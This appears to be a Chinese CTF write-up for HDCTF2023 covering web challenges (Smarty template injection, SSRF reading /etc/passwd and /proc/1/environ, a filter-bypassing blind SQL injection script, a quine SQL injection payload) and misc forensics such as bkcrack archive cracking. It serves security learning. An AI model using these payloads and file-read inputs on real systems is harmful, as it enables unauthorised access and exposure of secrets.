【HDCTF2023】wp

news/2024/3/29 9:29:54/文章来源:https://blog.csdn.net/qq_61839115/article/details/130341839

【HDCTF2023】wp

文章目录

    • 【HDCTF2023】wp
      • web
        • Welcome To HDCTF 2023
        • SearchMaster
        • YamiYami
        • LoginMaster
      • misc
        • hardMisc
        • MasterMisc
        • ExtremeMisc
        • SuperMisc

web

Welcome To HDCTF 2023

在源码的 game.js中找到了flag

image-20230423142427742

在控制台输出 console.log(seeeeeeeecret)得flag

SearchMaster

使用dirmap扫描目录,发现:composer.json,访问一下:

{"name": "smarty/smarty","type": "library","description": "Smarty - the compiling PHP template engine","keywords": ["templating"],"homepage": "https://smarty-php.github.io/smarty/","license": "LGPL-3.0","authors": [{"name": "Monte Ohrt","email": "monte@ohrt.com"},{"name": "Uwe Tews","email": "uwe.tews@googlemail.com"},{"name": "Rodney Rehm","email": "rodney.rehm@medialize.de"},{"name": "Simon Wisselink","homepage": "https://www.iwink.nl/"}],"support": {"issues": "https://github.com/smarty-php/smarty/issues","forum": "https://github.com/smarty-php/smarty/discussions"},"require": {"php": "^7.1 || ^8.0"},"autoload": {"classmap": ["libs/"]},"extra": {"branch-alias": {"dev-master": "4.0.x-dev"}},"require-dev": {"phpunit/phpunit": "^8.5 || ^7.5","smarty/smarty-lexer": "^3.1"}
}

发现是 php smarty模板注入

image-20230423143014048

提示我们需要使用post方式上传一个名为 data的变量:

测试一下确实有回显:

image-20230423143124024

直接读flag:

image-20230423143218303

YamiYami

进入题目:

image-20230423143948531

当我们点击 Read somethings时:

http://node2.anna.nssctf.cn:28523/read?url=https://baidu.com

我们发现可以读取到百度首页的内容,这是SSRF(突然忘记了)

python中我们可以使用 file伪协议读取文件内容

我们尝试一下读取 /etc/passwd

image-20230423144508490

成功读取

非预期解:(直接读取环境变量)

file:///proc/1/environ   # 这里读的是pid为1的进程

image-20230423144607816

如果读取当前进程的环境变量是读取不到的:

image-20230423145412951

Linux-Proc目录的利用

预期解:

LoginMaster

robots.txt泄露

<?php
function checkSql($s) 
{if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){alertMes('hacker', 'index.php');}
}
if ($row['password'] === $password) {die($FLAG);} else {alertMes("wrong password",'index.php');

sql注入题目,username必须为admin,此处我们需要从密码着手

但是注意看,过滤了 in ,意味着我们不能使用 information_schema库查询表名,列名

我本来是想找一下除了information_schema库,还有哪些库能用来查询的,找了这么几个:

mysql.innodb_table_stats
sys.schema_table_statistics
sys.schema_table_statistics_with_buffer

这几个都能用来查询表名,此处我们可以使用下面两个,我们我们写脚本去查询表名:

import requestsurl = "http://node5.anna.nssctf.cn:28973"
flag = ""
s = "0123456789abcdefghijklmnopqrstuvwxyz-{}_.,"for i in range(60):for j in s:# payload = "1'/**/or/**/if((mid((select/**/version()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # 10_2_32-mariadb# payload = "1'/**/or/**/if((mid((select/**/database()),{},1)/**/like/**/'{}'),1,0)#".format(i, j) # ciscn# payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics),{},1)/**/like/**/'{}'),1,0)#".format(i, j)payload = "1'/**/or/**/if((mid((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics/**/where/**/table_schema/**/like/**/'ciscn'),{},1)/**/like/**/'{}'),1,0)#".format(i, j)data = {'username': 'admin','password': payload}req = requests.post(url=url, data=data)# print(payload)# print(req.text)if 'hacker' in req.text:print(payload)if 'something' in req.text:print("someting")if 'wrong password' in req.text:flag += jprint(flag)break

发现啥都查不出来。。

实际上此处为一张空表,我们需要使用另一种做法(quine)

重点的代码是这里:

if ($row['password'] === $password) {die($FLAG);} 

我们除了让输入的密码与真正的密码一致外,还可以让输入的结果与输出的结果相同,同样可以实现获得flag

举个例子:

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

image-20230423152442610

输入和输出结果一致,从而可以绕过

这里需要知道一下原理:

从三道赛题再谈Quine trick

CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入)

NSS日刷-[第五空间 2021]yet_another_mysql_injection-Qunie

看着有点烧脑,其实就是套娃

我们首先尝试一下:

select REPLACE('.',char(46),'.');

image-20230423153453045

输出是一个小数点 .

我们尝试将 上一段代码中的小数点 . 替换为:

REPLACE(".",char(46),".")   -- 这里使用双引号包裹,防止单双引号重叠

完整代码:

select REPLACE('REPLACE(".",char(46),".")',char(46),'REPLACE(".",char(46),".")');

image-20230423153432347

乍一看好像是一样的,但是单双引号有点区别,我们需要再套REPLACE替换一下

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

image-20230423155242323

是真的麻烦。。

基本上就是这种思路了

payload:

1'UNION(SELECT(REPLACE(REPLACE('1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#',CHAR(34),CHAR(39)),CHAR(37),'1"UNION(SELECT(REPLACE(REPLACE("%",CHAR(34),CHAR(39)),CHAR(37),"%")))#')))#

image-20230423155425281

misc

hardMisc

010打开,base64解码

image-20230423155953654

MasterMisc

image-20230423160525223

打开发现有很多压缩包,

百度查了一下,这种是分卷压缩包,我们可以在cmd中输入如下命令,合并为一个压缩包:

copy /B topic.zip.001+topic.zip.002+topic.zip.003+topic.zip.004+topic.zip.005+topic.zip.006 topic.zip

image-20230423161002616

爆破一下找到压缩包密码,使用foremost分离图片:

得到一个wav音频和一张绿色的图片,我们使用Audacity看一下频谱图:

image-20230423161240384

找到一部分flag

使用010修改绿色图片高度:

image-20230423161334548

得到另一部分flag,

最后一部分在topic.png中找到:

image-20230423161418358

NSSCTF{e67d8104-7536-4433-bfff-96759901c405}

ExtremeMisc

一张 IDAT.png 首先使用 foremost分离一下,得到一个 Dic.zip

使用 Ziperello工具说没有加密,还以为是伪加密。。坑人

其实这里的密码是字母(以前一般都是数字),使用Archpr爆破得到密码:haida

打开Reverse.piz

image-20230423173129578

很明显,这里每一个字节都需要反转一下,需要写个脚本:

f = open("C://Users/LIKE/Desktop/Reverse.piz", "rb")
data = f.read()
fzip = open("C://Users/LIKE/Desktop/fzip.zip", "wb")
s = b""for i in data:tmp = int(("%02x" % i)[::-1], 16)s += bytes([tmp])# print(tmp.to_bytes(1, 'little'))fzip.write(s)首先以二进制形式读取文件给data,然后遍历这些二进制字符串,
注意:int(("%02x" % i)[::-1], 16)  我们将二进制转化为16进制然后宽度为2,不够使用0填充,
然后反转一下,并使用int()函数转为10进制
然后将10进制数字转为字节bytes([])进行拼接,最后以二进制格式写入

写这种编码转化的脚本不是很会,需要多学一学

字节到大整数的打包与解包

然后再使用爆破zip,获得如下文件:

image-20230423174633982

很明显,在Plain.zip中存在内容已知的 secret.txt文件,我们可以使用明文爆破,ARCHPRbkcrack

这里我们选择 bkcrack速度快一点:

./bkcrack -C Plain.zip -c "secret.txt" -p secret.txt

image-20230423174819872

爆出来3个key,用这些key去产生一个新的压缩包,密码自己设置:

bkcrack -C Plain.zip -c "secret.txt" -k ec437a15 db89e36d cd3e8e15 -U flag.zip 123

我们使用 -U 参数 生成了一个新的flag.zip压缩包,密码123:

使用密码打开 flag.txt

image-20230423175025410

SuperMisc

打开文件夹,发现存在 .git 文件夹,说明使用了git,我们git log查看一下日志:

image-20230424111856953

发现存在提交记录,于是我们切换到第二次提交的时候:

git reset --hard e9286d88c95ab6411b323dca8f358abc3a7e204f

image-20230424112004591

发现多了一个压缩包 Vigenere.zip,但是不知道密码,于是我们使用010打开png图片:

image-20230424112124160

发现很多 0、1的二进制数据,我们把它提取出来放到 data.txt中:

image-20230424112233522

我们猜测这可能需要使用这些0、1组成图片:

于是我们写个脚本将这些16进制的转化为普通的文本文件out.txt

f = open("C://Users/LIKE/Desktop/data.txt", "rb")
fw = open("C://Users/LIKE/Desktop/out.txt", "w")
s = ""
data = f.read()
for i in data:ch = "%02x" % is += chfw.write(s)

image-20230424112501328

然后使用python脚本将01转化为图片:

from PIL import Imagefr = open("C://Users/LIKE/Desktop/out.txt", "r")
data = fr.read()img = Image.new("RGB", (1150, 1150))# print(data)
i = 0
for x in range(1150):for y in range(1150):if data[i] == "1":img.putpixel((x, y), (255, 255, 255))elif data[i] == "0":img.putpixel((x, y), (0, 0, 0))i += 1img.show()
img.save("flag.png")
flag

扫描二维码:

11000#11111#10000#01111#11000#00011#11000#00011#00011#100#00011#01111#10000#00011#00011#00001#10000#00111#00011#00001#10000#00001#00011#11111#00011#11111#00111#100#00011#11000#00011#00001#10000#00001#10000#10000#00111#100#00011#00001#00011#00001#00011#11110#00011#00111#00111#100#10000#00111#00011#11111#00011#00001#00011#11110#00111#100#00011#00000#00011#11100#00011#00111#10000#00000#10000#00000#00011#11100#00011#00011#00011#11111#00011#11110#10000#00000#00011#10000#00011#00000

使用 0、1、# 3中字符组成,猜测这应该是莫斯密码:

image-20230424112703479

然后将16进制转为字符串:

image-20230424112728145

获得压缩包密码,解密获得 Vigenere 文件:

我们使用 file命令查看一下是什么文件:

image-20230424113112354

在010中打开得到字符串:

image-20230424113413288

或者 strings

image-20230424113438992

然后结合文件名,知道是维吉尼亚密码,但是需要密钥

使用大佬脚本根据明文爆破密钥

image-20230424114943236

获得密钥 IBFQW:

image-20230424115032601

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_102674.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

亚马逊美国站带绳窗帘

带绳窗帘 如果您在亚马逊商城发布商品&#xff0c;则必须遵守适用于这些商品和商品信息的所有联邦、州和地方法律以及亚马逊政策&#xff08;包括本政策&#xff09;。 本政策涵盖的带绳窗帘 带绳窗帘是一种室内用窗帘&#xff0c;可通过一根吊绳控制升降。此类商品包括但不…

【PR 基础】轨道遮罩键、交叉溶解的简单使用

在上篇博客&#xff08;【PR 基础】裁剪工具的简单使用&#xff09;介绍了裁剪效果的使用&#xff0c;本篇博客在上篇的基础上继续添加 轨道遮罩键、交叉溶解的效果。 效果 步骤 1.可以先将恢复裁剪区域的关键帧删除 2. 接下来添加字幕&#xff0c;点击 新建-》旧版标题 点击…

vue3+ts+pinia+vite一次性全搞懂

vue3tspiniavite项目 一&#xff1a;新建一个vue3ts的项目二&#xff1a;安装一些依赖三&#xff1a;pinia介绍、安装、使用介绍pinia页面使用pinia修改pinia中的值 四&#xff1a;typescript的使用类型初识枚举 一&#xff1a;新建一个vue3ts的项目 前提是所处vue环境为vue3&…

flask学习-实践02

项目实战 入门文当(2条消息) python flask框架详解_flask python_尘世风的博客-CSDN博客(2条消息) python flask框架详解_flask python_尘世风的博客-CSDN博客 入门项目 抄作业了&#xff01;6 大 Flask 开源实战项目推荐_小詹学 Python的博客-CSDN博客 (66 条消息) GitHub 上有…

Transformer 位置编码代码解析

Transformer 位置编码代码解析 Transformer 的 Multi-Head-Attention 无法判断各个编码的位置信息。因此 Attention is all you need 中加入三角函数位置编码&#xff08;sinusoidal position embedding&#xff09;&#xff0c;表达形式为&#xff1a; P E ( p o s , 2 i ) …

OpenText Exceed TurboX (ETX) 安全功能介绍

OpenText Exceed TurboX (ETX) 安全功能介绍 将所有重要的知识产权&#xff08;IP &#xff09;相关数据保存在受良好保护的中央数据中心是保护 IP 的最佳做法。安全的远程访问是保护知识产权的关键。 所有数据流量均采用最新标准加密技术进行加密ETX 整合多种身份验证系统ET…

FE_TA不知道的CSS 换行系列【1】white-space

在W3C官方描述中&#xff0c;white-space主要有以下两个作用&#xff1a; 是否进行空格合并&#xff0c;以及控制空格合并的方式&#xff1b;是否在soft wrap opportunities&#xff08;文本中可进行换行的断点位置&#xff09;处进行文本换行。 从字面意思来看white-space即…

私人工具集6——使用C# 创建一个简单的restful风格的WebAPI

创建一个简单的WebApi 工具&#xff1a;VS2022 创建新项目 打开VS2022,创建新项目&#xff0c;可以搜索API作为关键字。 为项目取个名字 创建的应用程序&#xff0c;选择WebAPI&#xff0c;注意&#xff0c;右侧的信息默认即可&#xff0c;不要随意选择。 点击创建&#xff…

nodejs+vue 学分置换管理系统

在大学四年参加了各类竞赛后&#xff0c;我发现参加各类比赛存在报名过程过于繁琐&#xff0c;评比过程不透明和易出错等问题&#xff0c;所以在定题时与老师商讨后确定设计和实现基于nodejs的高校竞赛信息发布系统&#xff0c;帮助老师发布竞赛内容&#xff0c;便于同学们线上…

设计模式--建造者模式

项目需求 盖房需求 (1) 需要建房子:过程为 打地基 砌墙 封顶 (2) 房子有高正各样的,比如 平房和高楼 建房子的过程虽然都一样 但是要求不要相同的细节 传统方式 public abstract class TraditionBuild {//打地基public abstract void foundation();//砌墙public abstract voi…

不得不说的结构型模式-外观模式

目录 ​编辑 1. 什么是外观模式 1.1外观模式的结构&#xff1a; 2实际案例&#xff1a; 3下面是面试中关于装饰器模式的常见的问题&#xff1a; 3.1下面是问题的答案&#xff1a; 1. 什么是外观模式 Facade模式也叫外观模式, Facade模式为一组具有类似功能的类群&#xff…

opencv-python视频分析与目标跟踪

目录 光流 目标跟踪 一、光流 使用OpenCV光流分析&#xff0c;跟踪蚂蚁的轨迹&#xff1a; 代码实现&#xff1a; import numpy as np import cv2if __name__ __main__:cap cv2.VideoCapture(ant.mp4)# ShiTomasi 角点检测参数feature_params dict(maxCorners100,quali…

Python边缘检测之prewitt, sobel, laplace算子

文章目录 滤波算子简介具体实现测试 滤波算子简介 ndimage中提供了卷积算法&#xff0c;并且建立在卷积之上&#xff0c;提供了三种边缘检测的滤波方案&#xff1a;prewitt, sobel以及laplace。 在convolve中列举了一个用于边缘检测的滤波算子&#xff0c;统一维度后&#xf…

3.微服务项目实战---Nacos Discovery--服务治理

3.1 服务治理介绍 先来思考一个问题 通过上一章的操作&#xff0c;我们已经可以实现微服务之间的调用。但是我们把服务提供者的网络地址 &#xff08; ip &#xff0c;端口&#xff09;等硬编码到了代码中&#xff0c;这种做法存在许多问题&#xff1a; 一旦服务提供者地址…

精进云原生 - Dubbo 3.2 正式发布

作者&#xff1a;Dubbo 社区 我们非常高兴地宣布&#xff0c;Dubbo 3.2 已经正式发布了&#xff01;这个版本带来了许多新功能和改进&#xff0c;这也是 Dubbo 在面对云原生化的当下的一次重要的尝试。 背景介绍 Apache Dubbo 是一款 RPC 服务开发框架&#xff0c;用于解决微…

虹科分享 | 如何主动保护个人信息 | 网络安全评级

网上报税和支付越来越流行&#xff0c;针对毫无防备的纳税人的税务欺诈也越来越频繁。以下是一些需要避免的常见网上税务骗局&#xff1a; 网络钓鱼诈骗 骗子利用电子邮件、短信或电话伪装成相关机构或报税软件提供商&#xff0c;诱骗人们提供他们的个人信息&#xff0c;或点击…

【云计算•云原生】1.什么是云计算?它为什么这么火?

文章目录 1.云计算基础什么是云计算云计算的分类开源软件、自由软件、免费软件 2.云计算机制云基础设施机制云管理机制云安全机制基本云架构 3.虚拟化技术服务器虚拟化服务器虚拟化技术CPU虚拟化内存虚拟化设备和I/O虚拟化存储虚拟化网络虚拟化桌面虚拟化 KVM 4.网络与存储基础…

实测有效!手把手带你将 Docker Image 体积减少 90%

Docker Image 体积越大,那部署要花的时间就越长;假如每个版本都有好几 GB,那并不是一个理想的状态;因此笔者开始动手实作,想看看到底能将 Docker Image 的体积缩小多少! 大纲 ㄧ、先初始化一个简易的 Node.js 专案 二、撰写 Dockefile,了解优化前体积有多大 三、使用 No…

通信算法之145:OFDM系统频偏(IFO/FFO)对频域信号影响

carrier frequency offset 1. 整数倍频偏IFO&#xff0c;频域数据相对发送端的数据出现了循环移位&#xff0c;子载波仍然正交。 2.小数倍频偏FFO&#xff0c;频域数据幅度和相位都发生变化&#xff0c;引入了ICI。 无频偏正常星座图 代码&#xff1a;待补充 读者1/2:

2023.4.23第五十次周报

目录 前言 文献阅读&#xff1a;基于ARIMA-WOA-LSTM模型的空气污染物预测 背景 ARIMA-WOA-LSTM模型 思路 主要贡献 积分移动平均自回归 &#xff08;ARIMA&#xff09; 鲸鱼优化算法 搜索超参数 CEEMDAN 结论 LSTM-Kriging 主要目标 理论猜想 问1&#xff1a…